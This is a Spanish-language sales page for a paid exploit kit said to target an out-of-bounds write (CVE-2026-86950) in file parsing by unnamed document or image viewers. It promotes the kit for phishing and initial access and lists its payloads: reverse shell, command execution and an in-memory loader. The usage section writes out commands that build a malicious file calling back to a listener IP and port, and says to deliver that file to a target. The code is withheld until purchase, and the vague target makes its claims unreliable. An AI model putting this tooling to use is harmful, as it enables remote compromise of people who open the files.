CVE-2026-86950 / EUVD-2026-88445 - RCE por escritura fuera de límites en el procesamiento de archivos

Descripción

CVE-2026-86950 (CWE-787).
Escritura fuera de límites durante el análisis de un archivo especialmente manipulado. La falta de comprobaciones de límites en los campos de tamaño/desplazamiento permite una corrupción controlada del heap cuando la aplicación objetivo procesa el archivo.

Un atacante no autenticado entrega el archivo (correo electrónico, descarga, recurso compartido). Se requiere interacción del usuario (abrir/procesar). El código se ejecuta con los privilegios de la aplicación que realiza el análisis.

Útil para campañas de phishing/spear-phishing de red team, acceso inicial en endpoints y ejecución controlada de código sin autenticación de red.

Exploit

Descargar

Requisitos

• Python 3.10+
• Aplicación objetivo que procese el formato de archivo vulnerable (visores de documentos/imágenes comunes)
• No se necesitan privilegios especiales en el lado del atacante

Características

• Genera un único archivo malicioso que desencadena la escritura fuera de límites
• Corrupción controlada del heap que conduce a la ejecución de código arbitrario
• Opciones de payload: reverse shell, ejecución de comandos, loader en memoria
• Huella mínima – no se requiere un dropper adicional
• Funciona con la entrega estándar de archivos (adjunto de correo electrónico, descarga desde el navegador, recurso compartido de red)

Instalación

Tras la compra recibes el archivo completo del paquete.
Extrae e instala las dependencias:

pip install -r requirements.txt

Uso

python exploit.py [options]
  -o, --output       <file>          Output malicious file (required)
  -p, --payload      <type>          reverse | cmd | custom (default: reverse)
  -L, --lhost        <ip>            Listener IP (for reverse)
  -P, --lport        <port>          Listener port (for reverse)
  -c, --cmd          <command>       Single command to execute
  --arch             x64|x86         Target architecture (default: x64)

Ejemplo (reverse shell):

python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444

Ejemplo (comando de un solo uso):

python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"

Entrega el archivo generado al objetivo. Cuando la aplicación vulnerable lo abra/procese, se desencadenará la escritura fuera de límites y se ejecutará el payload.

Licencia

Solo para uso autorizado en red team / pruebas de penetración. El uso no autorizado es ilegal.
El paquete completo está disponible únicamente tras la compra.